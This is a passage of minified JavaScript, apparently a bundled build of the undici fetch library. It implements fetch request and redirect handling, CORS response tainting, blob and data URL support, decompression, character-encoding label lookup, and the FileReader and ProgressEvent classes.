q46(q,z,null,Y.signal.reason),q.promise;if(z.client.globalObject?.constructor?.name==="ServiceWorkerGlobalScope")z.serviceWorkers="none";let H=null,J=!1,O=null;return hl3(Y.signal,()=>{J=!0,l8A(O!=null),O.abort(Y.signal.reason);let $=H?.deref();q46(q,z,$,Y.signal.reason)}),O=Az4({request:z,processResponseEndOfBody:pl3,processResponse:($)=>{if(J)return;if($.aborted){q46(q,z,H,O.serializedAbortReason);return}if($.type==="error"){q.reject(TypeError("fetch failed",{cause:$.error}));return}H=new WeakRef(ac3($,"immutable")),q.resolve(H.deref()),q=null},dispatcher:Y[El3]}),q.promise}function t24(A,K="other"){if(A.type==="error"&&A.aborted)return;if(!A.urlList?.length)return;let q=A.urlList[0],Y=A.timingInfo,z=A.cacheState;if(!H46(q))return;if(Y===null)return;if(!A.timingAllowPassed)Y=w46({startTime:Y.startTime}),z="";Y.endTime=URA(),A.timingInfo=Y,e24(Y,q.href,K,globalThis,z)}var e24=performance.markResourceTiming;function q46(A,K,q,Y){if(A)A.reject(Y);if(K.body!=null&&rK1(K.body?.stream))K.body.stream.cancel(Y).catch((w)=>{if(w.code==="ERR_INVALID_STATE")return;throw w});if(q==null)return;let z=q[o24];if(z.body!=null&&rK1(z.body?.stream))z.body.stream.cancel(Y).catch((w)=>{if(w.code==="ERR_INVALID_STATE")return;throw w})}function Az4({request:A,processRequestBodyChunkLength:K,processRequestEndOfBody:q,processResponse:Y,processResponseEndOfBody:z,processResponseConsumeBody:w,useParallelQueue:H=!1,dispatcher:J=ml3()}){l8A(J);let O=null,X=!1;if(A.client!=null)O=A.client.globalObject,X=A.client.crossOriginIsolatedCapability;let $=URA(X),_=w46({startTime:$}),G={controller:new O46(J),request:A,timingInfo:_,processRequestBodyChunkLength:K,processRequestEndOfBody:q,processResponse:Y,processResponseConsumeBody:w,processResponseEndOfBody:z,taskDestination:O,crossOriginIsolatedCapability:X};if(l8A(!A.body||A.body.stream),A.window==="client")A.window=A.client?.globalObject?.constructor?.name==="Window"?A.client:"no-window";if(A.origin==="client")A.origin=A.client.origin;if(A.policyContainer==="client")if(A.client!=null)A.policyContainer=Kl3(A.client.policyContainer);else A.policyContainer=Al3();if(!A.headersList.contains("accept",!0))A.headersList.append("accept","*/*",!0);if(!A.headersList.contains("accept-language",!0))A.headersList.append("accept-language","*",!0);if(A.priority===null);if(Ll3.has(A.destination));return Kz4(G).catch((Z)=>{G.controller.terminate(Z)}),G.controller}async function Kz4(A,K=!1){let q=A.request,Y=null;if(q.localURLsOnly&&!Ml3(fx(q)))Y=jz("local URLs only");if(Jl3(q),ql3(q)==="blocked")Y=jz("bad port");if(q.referrerPolicy==="")q.referrerPolicy=q.policyContainer.referrerPolicy;if(q.referrer!=="no-referrer")q.referrer=_l3(q);if(Y===null)Y=await(async()=>{let w=fx(q);if(z46(w,q.url)&&q.responseTainting==="basic"||w.protocol==="data:"||(q.mode==="navigate"||q.mode==="websocket"))return q.responseTainting="basic",await r24(A);if(q.mode==="same-origin")return jz('request mode cannot be "same-origin"');if(q.mode==="no-cors"){if(q.redirect!=="follow")return jz('redirect mode cannot be "follow" for "no-cors" request');return q.responseTainting="opaque",await r24(A)}if(!H46(fx(q)))return jz("URL scheme must be a HTTP(S) scheme");return q.responseTainting="cors",await qz4(A)})();if(K)return Y;if(Y.status!==0&&!Y.internalResponse){if(q.responseTainting==="cors");if(q.responseTainting==="basic")Y=A46(Y,"basic");else if(q.responseTainting==="cors")Y=A46(Y,"cors");else if(q.responseTainting==="opaque")Y=A46(Y,"opaque");else l8A(!1)}let z=Y.status===0?Y:Y.internalResponse;if(z.urlList.length===0)z.urlList.push(...q.urlList);if(!q.timingAllowFailed)Y.timingAllowPassed=!0;if(Y.type==="opaque"&&z.status===206&&z.rangeRequested&&!q.headers.contains("range",!0))Y=z=jz();if(Y.status!==0&&(q.method==="HEAD"||q.method==="CONNECT"||s24.includes(z.status)))z.body=null,A.controller.dump=!0;if(q.integrity){let w=(J)=>Y46(A,jz(J));if(q.responseTainting==="opaque"||Y.body==null){w(Y.error);return}let H=(J)=>{if(!ec3(J,q.integrity)){w("integrity mismatch");return}Y.body=J46(J)[0],Y46(A,Y)};await Dl3(Y.body,H,w)}else Y46(A,Y)}function r24(A){if(c8A(A)&&A.request.redirectCount===0)return Promise.resolve(lK1(A));let{request:K}=A,{protocol:q}=fx(K);switch(q){case"about:":return Promise.resolve(jz("about scheme is not supported"));case"blob:":{if(!K46)K46=CA("node:buffer").resolveObjectURL;let Y=fx(K);if(Y.search.length!==0)return Promise.resolve(jz("NetworkError when attempting to fetch resource."));let z=K46(Y.toString());if(K.method!=="GET"||!Zl3(z))return Promise.resolve(jz("invalid method"));let w=iK1(),H=z.size,J=nK1(`${H}`),O=z.type;if(!K.headersList.contains("range",!0)){let X=i24(z);w.statusText="OK",w.body=X[0],w.headersList.set("content-length",J,!0),w.headersList.set("content-type",O,!0)}else{w.rangeRequested=!0;let X=K.headersList.get("range",!0),$=fl3(X,!0);if($==="failure")return Promise.resolve(jz("failed to fetch the data URL"));let{rangeStartValue:_,rangeEndValue:G}=$;if(_===null)_=H-G,G=_+G-1;else{if(_>=H)return Promise.resolve(jz("Range start is greater than the blob's size."));if(G===null||G>=H)G=H-1}let Z=z.slice(_,G,O),W=i24(Z);w.body=W[0];let D=nK1(`${Z.size}`),j=Nl3(_,G,H);w.status=206,w.statusText="Partial Content",w.headersList.set("content-length",D,!0),w.headersList.set("content-type",O,!0),w.headersList.set("content-range",j,!0)}return Promise.resolve(w)}case"data:":{let Y=fx(K),z=xl3(Y);if(z==="failure")return Promise.resolve(jz("failed to fetch the data URL"));let w=ul3(z.mimeType);return Promise.resolve(iK1({statusText:"OK",headersList:[["content-type",{name:"Content-Type",value:w}]],body:J46(z.body)[0]}))}case"file:":return Promise.resolve(jz("not implemented... yet..."));case"http:":case"https:":return qz4(A).catch((Y)=>jz(Y));default:return Promise.resolve(jz("unknown scheme"))}}function cl3(A,K){if(A.request.done=!0,A.processResponseDone!=null)queueMicrotask(()=>A.processResponseDone(K))}function Y46(A,K){let q=A.timingInfo,Y=()=>{let w=Date.now();if(A.request.destination==="document")A.controller.fullTimingInfo=q;A.controller.reportTimingSteps=()=>{if(A.request.url.protocol!=="https:")return;q.endTime=w;let{cacheState:J,bodyInfo:O}=K;if(!K.timingAllowPassed)q=w46(q),J="";let X=0;if(A.request.mode!=="navigator"||!K.hasCrossOriginRedirects){X=K.status;let $=vl3(K.headersList);if($!=="failure")O.contentType=Bl3($)}if(A.request.initiatorType!=null)e24(q,A.request.url.href,A.request.initiatorType,globalThis,J,O,X)};let H=()=>{if(A.request.done=!0,A.processResponseEndOfBody!=null)queueMicrotask(()=>A.processResponseEndOfBody(K));if(A.request.initiatorType!=null)A.controller.reportTimingSteps()};queueMicrotask(()=>H())};if(A.processResponse!=null)queueMicrotask(()=>{A.processResponse(K),A.processResponse=null});let z=K.type==="error"?K:K.internalResponse??K;if(z.body==null)Y();else Sl3(z.body.stream,()=>{Y()})}async function qz4(A){let K=A.request,q=null,Y=null,z=A.timingInfo;if(K.serviceWorkers==="all");if(q===null){if(K.redirect==="follow")K.serviceWorkers="none";if(Y=q=await Yz4(A),K.responseTainting==="cors"&&Xl3(K,q)==="failure")return jz("cors failure");if(Yl3(K,q)==="failure")K.timingAllowFailed=!0}if((K.responseTainting==="opaque"||q.type==="opaque")&&$l3(K.origin,K.client,K.destination,Y)==="blocked")return jz("blocked");if(a24.has(Y.status)){if(K.redirect!=="manual")A.controller.connection.destroy(void 0,!1);if(K.redirect==="error")q=jz("unexpected redirect");else if(K.redirect==="manual")q=Y;else if(K.redirect==="follow")q=await ll3(A,q);else l8A(!1)}return q.timingInfo=z,q}function ll3(A,K){let q=A.request,Y=K.internalResponse?K.internalResponse:K,z;try{if(z=wl3(Y,fx(q).hash),z==null)return K}catch(H){return Promise.resolve(jz(H))}if(!H46(z))return Promise.resolve(jz("URL scheme must be a HTTP(S) scheme"));if(q.redirectCount===20)return Promise.resolve(jz("redirect count exceeded"));if(q.redirectCount+=1,q.mode==="cors"&&(z.username||z.password)&&!z46(q,z))return Promise.resolve(jz('cross origin not allowed for request mode "cors"'));if(q.responseTainting==="cors"&&(z.username||z.password))return Promise.resolve(jz('URL cannot contain credentials for request mode "cors"'));if(Y.status!==303&&q.body!=null&&q.body.source==null)return Promise.resolve(jz());if([301,302].includes(Y.status)&&q.method==="POST"||Y.status===303&&!Ql3.includes(q.method)){q.method="GET",q.body=null;for(let H of Cl3)q.headersList.delete(H)}if(!z46(fx(q),z))q.headersList.delete("authorization",!0),q.headersList.delete("proxy-authorization",!0),q.headersList.delete("cookie",!0),q.headersList.delete("host",!0);if(q.body!=null)l8A(q.body.source!=null),q.body=J46(q.body.source)[0];let w=A.timingInfo;if(w.redirectEndTime=w.postRedirectStartTime=URA(A.crossOriginIsolatedCapability),w.redirectStartTime===0)w.redirectStartTime=w.startTime;return q.urlList.push(z),Hl3(q,Y),Kz4(A,!0)}async function Yz4(A,K=!1,q=!1){let Y=A.request,z=null,w=null,H=null,J=null,O=!1;if(Y.window==="no-window"&&Y.redirect==="error")z=A,w=Y;else w=tc3(Y),z={...A},z.request=w;let X=Y.credentials==="include"||Y.credentials==="same-origin"&&Y.responseTainting==="basic",$=w.body?w.body.length:null,_=null;if(w.body==null&&["POST","PUT"].includes(w.method))_="0";if($!=null)_=nK1(`${$}`);if(_!=null)w.headersList.append("content-length",_,!0);if($!=null&&w.keepalive);if(w.referrer instanceof URL)w.headersList.append("referer",nK1(w.referrer.href),!0);if(zl3(w),Ol3(w),!w.headersList.contains("user-agent",!0))w.headersList.append("user-agent",Ul3);if(w.cache==="default"&&(w.headersList.contains("if-modified-since",!0)||w.headersList.contains("if-none-match",!0)||w.headersList.contains("if-unmodified-since",!0)||w.headersList.contains("if-match",!0)||w.headersList.contains("if-range",!0)))w.cache="no-store";if(w.cache==="no-cache"&&!w.preventNoCacheCacheControlHeaderModification&&!w.headersList.contains("cache-control",!0))w.headersList.append("cache-control","max-age=0",!0);if(w.cache==="no-store"||w.cache==="reload"){if(!w.headersList.contains("pragma",!0))w.headersList.append("pragma","no-cache",!0);if(!w.headersList.contains("cache-control",!0))w.headersList.append("cache-control","no-cache",!0)}if(w.headersList.contains("range",!0))w.headersList.append("accept-encoding","identity",!0);if(!w.headersList.contains("accept-encoding",!0))if(Pl3(fx(w)))w.headersList.append("accept-encoding","br, gzip, deflate",!0);else w.headersList.append("accept-encoding","gzip, deflate",!0);if(w.headersList.delete("host",!0),J==null)w.cache="no-store";if(w.cache!=="no-store"&&w.cache!=="reload");if(H==null){if(w.cache==="only-if-cached")return jz("only if cached");let G=await il3(z,X,q);if(!kl3.has(w.method)&&G.status>=200&&G.status<=399);if(O&&G.status===304);if(H==null)H=G}if(H.urlList=[...w.urlList],w.headersList.contains("range",!0))H.rangeRequested=!0;if(H.requestIncludesCredentials=X,H.status===407){if(Y.window==="no-window")return jz();if(c8A(A))return lK1(A);return jz("proxy authentication required")}if(H.status===421&&!q&&(Y.body==null||Y.body.source!=null)){if(c8A(A))return lK1(A);A.controller.connection.destroy(),H=await Yz4(A,K,!0)}return H}async function il3(A,K=!1,q=!1){l8A(!A.controller.connection||A.controller.connection.destroyed),A.controller.connection={abort:null,destroyed:!1,destroy(W,D=!0){if(!this.destroyed){if(this.destroyed=!0,D)this.abort?.(W??new DOMException("The operation was aborted.","AbortError"))}}};let Y=A.request,z=null,w=A.timingInfo;if(!0)Y.cache="no-store";let J=q?"yes":"no";if(Y.mode==="websocket");let O=null;if(Y.body==null&&A.processRequestEndOfBody)queueMicrotask(()=>A.processRequestEndOfBody());else if(Y.body!=null){let W=async function*(M){if(c8A(A))return;yield M,A.processRequestBodyChunkLength?.(M.byteLength)},D=()=>{if(c8A(A))return;if(A.processRequestEndOfBody)A.processRequestEndOfBody()},j=(M)=>{if(c8A(A))return;if(M.name==="AbortError")A.controller.abort();else A.controller.terminate(M)};O=async function*(){try{for await(let M of Y.body.stream)yield*W(M);D()}catch(M){j(M)}}()}try{let{body:W,status:D,statusText:j,headersList:M,socket:P}=await Z({body:O});if(P)z=iK1({status:D,statusText:j,headersList:M,socket:P});else{let f=W[Symbol.asyncIterator]();A.controller.next=()=>f.next(),z=iK1({status:D,statusText:j,headersList:M})}}catch(W){if(W.name==="AbortError")return A.controller.connection.destroy(),lK1(A,W);return jz(W)}let X=async()=>{await A.controller.resume()},$=(W)=>{if(!c8A(A))A.controller.abort(W)},_=new ReadableStream({async start(W){A.controller.controller=W},async pull(W){await X(W)},async cancel(W){await $(W)},type:"bytes"});z.body={stream:_,source:null,length:null},A.controller.onAborted=G,A.controller.on("terminated",G),A.controller.resume=async()=>{while(!0){let W,D;try{let{done:M,value:P}=await A.controller.next();if(l24(A))break;W=M?void 0:P}catch(M){if(A.controller.ended&&!w.encodedBodySize)W=void 0;else W=M,D=!0}if(W===void 0){jl3(A.controller.controller),cl3(A,z);return}if(w.decodedBodySize+=W?.byteLength??0,D){A.controller.terminate(W);return}let j=new Uint8Array(W);if(j.byteLength)A.controller.controller.enqueue(j);if(bl3(_)){A.controller.terminate();return}if(A.controller.controller.desiredSize<=0)return}};function G(W){if(l24(A)){if(z.aborted=!0,rK1(_))A.controller.controller.error(A.controller.serializedAbortReason)}else if(rK1(_))A.controller.controller.error(TypeError("terminated",{cause:Wl3(W)?W:void 0}));A.controller.connection.destroy()}return z;function Z({body:W}){let D=fx(Y),j=A.controller.dispatcher;return new Promise((M,P)=>j.dispatch({path:D.pathname+D.search,origin:D.origin,method:Y.method,body:j.isMockActive?Y.body&&(Y.body.source||Y.body.stream):W,headers:Y.headersList.entries,maxRedirections:0,upgrade:Y.mode==="websocket"?"websocket":void 0},{body:null,abort:null,onConnect(f){let{connection:N}=A.controller;if(w.finalConnectionTimingInfo=Vl3(void 0,w.postRedirectStartTime,A.crossOriginIsolatedCapability),N.destroyed)f(new DOMException("The operation was aborted.","AbortError"));else A.controller.on("terminated",f),this.abort=N.abort=f;w.finalNetworkRequestStartTime=URA(A.crossOriginIsolatedCapability)},onResponseStarted(){w.finalNetworkResponseStartTime=URA(A.crossOriginIsolatedCapability)},onHeaders(f,N,T,C){if(f<200)return;let R=[],x="",y=new c24;for(let u=0;u<N.length;u+=2)y.append(n24(N[u]),N[u+1].toString("latin1"),!0);let B=y.get("content-encoding",!0);if(B)R=B.toLowerCase().split(",").map((u)=>u.trim());x=y.get("location",!0),this.body=new yl3({read:T});let b=[],F=x&&Y.redirect==="follow"&&a24.has(f);if(R.length!==0&&Y.method!=="HEAD"&&Y.method!=="CONNECT"&&!s24.includes(f)&&!F)for(let u=R.length-1;u>=0;--u){let d=R[u];if(d==="x-gzip"||d==="gzip")b.push(Bn.createGunzip({flush:Bn.constants.Z_SYNC_FLUSH,finishFlush:Bn.constants.Z_SYNC_FLUSH}));else if(d==="deflate")b.push(Tl3({flush:Bn.constants.Z_SYNC_FLUSH,finishFlush:Bn.constants.Z_SYNC_FLUSH}));else if(d==="br")b.push(Bn.createBrotliDecompress({flush:Bn.constants.BROTLI_OPERATION_FLUSH,finishFlush:Bn.constants.BROTLI_OPERATION_FLUSH}));else{b.length=0;break}}let Q=this.onError.bind(this);return M({status:f,statusText:C,headersList:y,body:b.length?Il3(this.body,...b,(u)=>{if(u)this.onError(u)}).on("error",Q):this.body.on("error",Q)}),!0},onData(f){if(A.controller.dump)return;let N=f;return w.encodedBodySize+=N.byteLength,this.body.push(N)},onComplete(){if(this.abort)A.controller.off("terminated",this.abort);if(A.controller.onAborted)A.controller.off("terminated",A.controller.onAborted);A.controller.ended=!0,this.body.push(null)},onError(f){if(this.abort)A.controller.off("terminated",this.abort);this.body?.destroy(f),A.controller.terminate(f),P(f)},onUpgrade(f,N,T){if(f!==101)return;let C=new c24;for(let R=0;R<N.length;R+=2)C.append(n24(N[R]),N[R+1].toString("latin1"),!0);return M({status:f,statusText:Fl3[f],headersList:C,socket:T}),!0}}))}}zz4.exports={fetch:dl3,Fetch:O46,fetching:Az4,finalizeAndReportTiming:t24}});var X46=v((Y8w,wz4)=>{wz4.exports={kState:Symbol("FileReader state"),kResult:Symbol("FileReader result"),kError:Symbol("FileReader error"),kLastProgressEventFired:Symbol("FileReader last progress event fired timestamp"),kEvents:Symbol("FileReader events"),kAborted:Symbol("FileReader aborted")}});var Jz4=v((z8w,Hz4)=>{var{webidl:VT}=SZ(),oK1=Symbol("ProgressEvent state");class dRA extends Event{constructor(A,K={}){A=VT.converters.DOMString(A,"ProgressEvent constructor","type"),K=VT.converters.ProgressEventInit(K??{});super(A,K);this[oK1]={lengthComputable:K.lengthComputable,loaded:K.loaded,total:K.total}}get lengthComputable(){return VT.brandCheck(this,dRA),this[oK1].lengthComputable}get loaded(){return VT.brandCheck(this,dRA),this[oK1].loaded}get total(){return VT.brandCheck(this,dRA),this[oK1].total}}VT.converters.ProgressEventInit=VT.dictionaryConverter([{key:"lengthComputable",converter:VT.converters.boolean,defaultValue:()=>!1},{key:"loaded",converter:VT.converters["unsigned long long"],defaultValue:()=>0},{key:"total",converter:VT.converters["unsigned long long"],defaultValue:()=>0},{key:"bubbles",converter:VT.converters.boolean,defaultValue:()=>!1},{key:"cancelable",converter:VT.converters.boolean,defaultValue:()=>!1},{key:"composed",converter:VT.converters.boolean,defaultValue:()=>!1}]);Hz4.exports={ProgressEvent:dRA}});var Xz4=v((w8w,Oz4)=>{function nl3(A){if(!A)return"failure";switch(A.trim().toLowerCase()){case"unicode-1-1-utf-8":case"unicode11utf8":case"unicode20utf8":case"utf-8":case"utf8":case"x-unicode20utf8":return"UTF-8";case"866":case"cp866":case"csibm866":case"ibm866":return"IBM866";case"csisolatin2":case"iso-8859-2":case"iso-ir-101":case"iso8859-2":case"iso88592":case"iso_8859-2":case"iso_8859-2:1987":case"l2":case"latin2":return"ISO-8859-2";case"csisolatin3":case"iso-8859-3":case"iso-ir-109":case"iso8859-3":case"iso88593":case"iso_8859-3":case"iso_8859-3:1988":case"l3":case"latin3":return"ISO-8859-3";case"csisolatin4":case"iso-8859-4":case"iso-ir-110":case"iso8859-4":case"iso88594":case"iso_8859-4":case"iso_8859-4:1988":case"l4":case"latin4":return"ISO-8859-4";case"csisolatincyrillic":case"cyrillic":case"iso-8859-5":case"iso-ir-144":case"iso8859-5":case"iso88595":case"iso_8859-5":case"iso_8859-5:1988":return"ISO-8859-5";case"arabic":case"asmo-708":case"csiso88596e":case"csiso88596i":case"csisolatinarabic":case"ecma-114":case"iso-8859-6":case"iso-8859-6-e":case"iso-8859-6-i":case"iso-ir-127":case"iso8859-6":case"iso88596":case"iso_8859-6":case"iso_8859-6:1987":return"ISO-8859-6";case"csisolatingreek":case"ecma-118":case"elot_928":case"greek":case"greek8":case"iso-8859-7":case"iso-ir-126":case"iso8859-7":case"iso88597":case"iso_8859-7":case"iso_8859-7:1987":case"sun_eu_greek":return"ISO-8859-7";case"csiso88598e":case"csisolatinhebrew":case"hebrew":case"iso-8859-8":case"iso-8859-8-e":case"iso-ir-138":case"iso8859-8":case"iso88598":case"iso_8859-8":case"iso_8859-8:1988":case"visual":return"ISO-8859-8";case"csiso88598i":case"iso-8859-8-i":case"logical":return"ISO-8859-8-I";case"csisolatin6":case"iso-8859-10":case"iso-ir-157":case"iso8859-10":case"iso885910":case"l6":case"latin6":return"ISO-8859-10";case"iso-8859-13":case"iso8859-13":case"iso885913":return"ISO-8859-13";case"iso-8859-14":case"iso8859-14":case"iso885914":return"ISO-8859-14";case"csisolatin9":case"iso-8859-15":case"iso8859-15":case"iso885915":case"iso_8859-15":case"l9":return"ISO-8859-15";case"iso-8859-16":return"ISO-8859-16";case"cskoi8r":case"koi":case"koi8":case"koi8-r":case"koi8_r":return"KOI8-R";case"koi8-ru":case"koi8-u":return"KOI8-U";case"csmacintosh":case"mac":case"macintosh":case"x-mac-roman":return"macintosh";case"iso-8859-11":case"iso8859-11":case"iso885911":case"tis-620":case"windows-874":return"windows-874";case"cp1250":case"windows-1250":case"x-cp1250":return"windows-1250";case"cp1251":case"windows-1251":case"x-cp1251":return"windows-1251";case"ansi_x3.4-1968":case"ascii":case"cp1252":case"cp819":case"csisolatin1":case"ibm819":case"iso-8859-1":case"iso-ir-100":case"iso8859-1":case"iso88591":case"iso_8859-1":case"iso_8859-1:1987":case"l1":case"latin1":case"us-ascii":case"windows-1252":case"x-cp1252":return"windows-1252";case"cp1253":case"windows-1253":case"x-cp1253":return"windows-1253";case"cp1254":case"csisolatin5":case"iso-8859-9":case"iso-ir-148":case"iso8859-9":case"iso88599":case"iso_8859-9":case"iso_8859-9:1989":case"l5":case"latin5":case"windows-1254":case"x-cp1254":return"windows-1254";case"cp1255":case"windows-1255":case"x-cp1255":return"windows-1255";case"cp1256":case"windows-1256":case"x-cp1256":return"windows-1256";case"cp1257":case"windows-1257":case"x-cp1257":return"windows-1257";case"cp1258":case"windows-1258":case"x-cp1258":return"windows-1258";case"x-mac-cyrillic":case"x-mac-ukrainian":return"x-mac-cyrillic";case"chinese":case"csgb2312":case"csiso58gb231280":case"gb2312":case"gb_2312":case"gb_2312-80":case"gbk":case"iso-ir-58":case"x-gbk":return"GBK";case"gb18030":return"gb18030";case"big5":case"big5-hkscs":case"cn-big5":case"csbig5":case"x-x-big5":return"Big5";case"cseucpkdfmtjapanese":case"euc-jp":case"x-euc-jp":return"EUC-JP";case"csiso2022jp":case"iso-2022-jp":return"ISO-2022-JP";case"csshiftjis":case"ms932":case"ms_kanji":case"shift-jis":case"shift_jis":case"sjis":case"windows-31j":case"x-sjis":return"Shift_JIS";case"cseuckr":case"csksc56011987":case"euc-kr":case"iso-ir-149":case"korean":case"ks_c_5601-1987":case"ks_c_5601-1989":case"ksc5601":case"ksc_5601":case"windows-949":return"EUC-KR";case"csiso2022kr":case"hz-gb-2312":case"iso-2022-cn":case"iso-2022-cn-ext":case"iso-2022-kr":case"replacement":return"replacement";case"unicodefffe":case"utf-16be":return"UTF-16BE";case"csunicode":case"iso-10646-ucs-2":case"ucs-2":case"unicode":case"unicodefeff":case"utf-16":case"utf-16le":return"UTF-16LE";case"x-user-defined":return"x-user-defined";default:return"failure"}}Oz4.exports={getEncoding:nl3}});var Mz4=v((H8w,jz4)=>{var{kState:B0A,kError:$46,kResult:$z4,kAborted:cRA,kLastProgressEventFired:_46}=X46(),{ProgressEvent:rl3}=Jz4(),{getEncoding:_z4}=Xz4(),{serializeAMimeType:ol3,parseMIMEType:Gz4}=IV(),{types:al3}=CA("node:util"),{StringDecoder:Zz4}=CA("string_decoder"),{btoa:Wz4}=CA("node:buffer"),sl3={enumerable:!0,writable:!1,configurable:!1};function tl3(A,K,q,Y){if(A[B0A]==="loading")throw new DOMException("Invalid state","InvalidStateError");A[B0A]="loading",A[$z4]=null,A[$46]=null;let w=K.stream().getReader(),H=[],J=w.read(),O=!0;(async()=>{while(!A[cRA])try{let{done:X,value:$}=await J;if(O&&!A[cRA])queueMicrotask(()=>{mn("loadstart",A)});if(O=!1,!X&&al3.isUint8Array($)){if(H.push($),(A[_46]===void 0||Date.now()-A[_46]>=50)&&!A[cRA])A[_46]=Date.now(),queueMicrotask(()=>{mn("progress",A)});J=w.read()}else if(X){queueMicrotask(()=>{A[B0A]="done";try{let _=el3(H,q,K.type,Y);if(A[cRA])return;A[$z4]=_,mn("load",A)}catch(_){A[$46]=_,mn("error",A)}if(A[B0A]!=="loading")mn("loadend",A)});break}}catch(X){if(A[cRA])return;queueMicrotask(()=>{if(A[B0A]="done",A[$46]=X,mn("error",A),A[B0A]!=="loading")mn("loadend",A)});break}})()}function mn(A,K){let q=new rl3(A,{bubbles:!1,cancelable:!1});K.dispatchEvent(q)}function el3(A,K,q,Y){switch(K){case"DataURL":{let z="data:",w=Gz4(q||"application/octet-stream");if(w!=="failure")z+=ol3(w);z+=";base64,";let H=new Zz4("latin1");for(let J of A)z+=Wz4(H.write(J));return z+=Wz4(H.end()),z}case"Text":{let z="failure";if(Y)z=_z4(Y);if(z==="failure"&&q){let w=Gz4(q);if(w!=="failure")z=_z4(w.parameters.get("charset"))}if(z==="failure")z="UTF-8";return Ai3(A,z)}case"ArrayBuffer":return Dz4(A).buffer;case"BinaryString":{let z="",w=new Zz4("latin1");for(let H of A)z+=w.write(H);return z+=w.end(),z}}}function Ai3(A,K){let q=Dz4(A),Y=Ki3(q),z=0;if(Y!==null)K=Y,z=Y==="UTF-8"?3:2;let w=q.slice(z);return new TextDecoder(K).decode(w)}function Ki3(A){let[K,q,Y]=A;if(K===239&&q===187&&Y===191)return"UTF-8";else if(K===254&&q===255)return"UTF-16BE";else if(K===255&&q===254)return"UTF-16LE";return null}function Dz4(A){let K=A.reduce((Y,z)=>{return Y+z.byteLength},0),q=0;return A.reduce((Y,z)=>{return Y.set(z,q),q+=z.byteLength,Y},new Uint8Array(K))}jz4.exports={staticPropertyDescriptors:sl3,readOperation:tl3,fireAProgressEvent:mn}});var Nz4=v((J8w,fz4)=>{var{staticPropertyDescriptors:m0A,readOperation:aK1,fireAProgressEvent:Pz4}=Mz4(),{kState:i8A,kError:Vz4,kResult:sK1,kEvents:G2,kAborted:qi3}=X46(),{webidl:dz}=SZ(),{kEnumerableProperty:bV}=j9();class Mz extends EventTarget{constructor(){super();this[i8A]="empty",this[sK1]=null,this[Vz4]=null,this[G2]={loadend:null,error:null,abort:null,load:null,progress:null,loadstart:null}}readAsArrayBuffer(A){dz.brandCheck(this,Mz),dz.argumentLengthCheck(arguments,1,"FileReader.readAsArrayBuffer"),A=dz.converters.Blob(A,{strict:!1}),aK1(this,A,"ArrayBuffer")}readAsBinaryString(A){dz.brandCheck(this,Mz),dz.argumentLengthCheck(arguments,1,"FileReader.readAsBinaryString"),A=dz.converters.Blob(A,{strict:!1}),aK1(this,A,"BinaryString")}readAsText(A,K=void 0){if(dz.brandCheck(this,Mz),dz.argumentLengthCheck(arguments,1,"FileReader.readAsText"),A=dz.converters.Blob(A,{strict:!1}),K!==void 0)K=dz.converters.DOMString(K,"FileReader.readAsText","encoding");aK1(this,A,"Text",K)}readAsDataURL(A){dz.brandCheck(this,Mz),dz.argumentLengthCheck(arguments,1,"FileReader.readAsDataURL"),A=dz.converters.Blob(A,{strict:!1}),aK1(this,A,"DataURL")}abort(){if(this[i8A]==="empty"||this[i8A]==="done"){this[sK1]=null;return}if(this[i8A]==="loading")this[i8A]="done",this[sK1]=null;if(this[qi3]=!0,Pz4("abort",this),this[i8A]!=="loading")Pz4("loadend",this)}get readyState(){switch(dz.brandCheck(this,Mz),this[i8A]){case"empty":return this.EMPTY;case"loading":return this.LOADING;case"done":return this.DONE}}get result(){return dz.brandCheck(this,Mz),this[sK1]}get error(){return dz.brandCheck(this,Mz),this[Vz4]}get onloadend(){return dz.brandCheck(this,Mz),this[G2].loadend}set onloadend(A){if(dz.brandCheck(this,Mz),this[G2].loadend)this.removeEventListener("loadend",this[G2].loadend);if(typeof A==="function")this[G2].loadend=A,this.addEventListener("loadend",A);else this[G2].loadend=null}get onerror(){return dz.brandCheck(this,Mz),this[G2].error}set onerror(A){if(dz.brandCheck(this,Mz),this[G2].error)this.removeEventListener("error",this[G2].error);if(typeof A==="function")this[G2].error=A,this.addEventListener("error",A);else this[G2].error=null}get onloadstart(){return dz.brandCheck(this,Mz),this[G2].loadstart}set onloadstart(A){if(dz.brandCheck(this,Mz),this[G2].loadstart)this.removeEventListener("loadstart",this[G2].loadstart);if(typeof A==="function")this[G2].loadstart=A,this.addEventListener("loadstart",A);else this[G2].loadstart=null}get onprogress(){return dz.brandCheck(this,Mz),this[G2].progress}set onprogress(A){if(dz.brandCheck(this,Mz),this[G2].progress)this.removeEventListener("progress",this[G2].progress);if(typeof A==="function")this[G2].progress=A,this.addEventListener("progress",A);else this[G2].progress=null}get onload(){return dz.brandCheck(this,Mz),this[G2].load}set onload(A){if(dz.brandCheck(this,Mz),this[G2].load)this.removeEventListener("load",this[G2].load);if(typeof A==="function")this[G2].load=A,this.addEventListener("load",A);else this[G2].load=null}get onabort(){return dz.brandCheck(this,Mz),this[G2].abort}set onabort(A){if(dz.brandCheck(this,Mz),this[G2].abort)this.removeEventListener("abort",this[G2].abort);if(typeof A==="function")this[G2].abort=A,this.addEventListener("abort",A);else this[G2].abort=null}}Mz.EMPTY=Mz.prototype.EMPTY=0;Mz.LOADING=Mz.prototype.LOADING=1;Mz.DONE=Mz.prototype.DONE=2;Object.defineProperties(Mz.prototype,{EMPTY:m0A,LOADING:m0A,DONE:m0A,readAsArrayBuffer:bV,readAsBinaryString:bV,readAsText:bV,readAsDataURL:bV,abort:bV,readyState:bV,result:bV,error:bV,onloadstart:bV,onprogress:bV,onload:bV,onabort:bV,onerror:bV,onloadend:bV,[Symbol.toStringTag]:{value:"FileReader",writable:!1,enumerable:!1,configurable:!0}});Object.defineProperties(Mz,{EMPTY:m0A,LOADING:m0A,DONE:m0A});fz4.exports={FileReader:Mz}});var tK1=v((O8w,Tz4)=>{Tz4.exports={kConstruct:MJ().kConstruct}});var kz4=v((X8w,Ez4)=>{var Yi3=CA("node:assert"),{URLSerializer:vz4}=IV(),{isValidHeaderName:zi3}=ZT();function wi3(A,K,q=!1){let Y=vz4(A,q),z=vz4(K,q);return Y===z}function Hi3(A){Yi3(A!==null);let K=[];for(let q of A.split(","))if(q=q.trim(),zi3(q))K.push(q);return K}Ez4.exports={urlEquals:wi3,getFieldValues:Hi3}});var 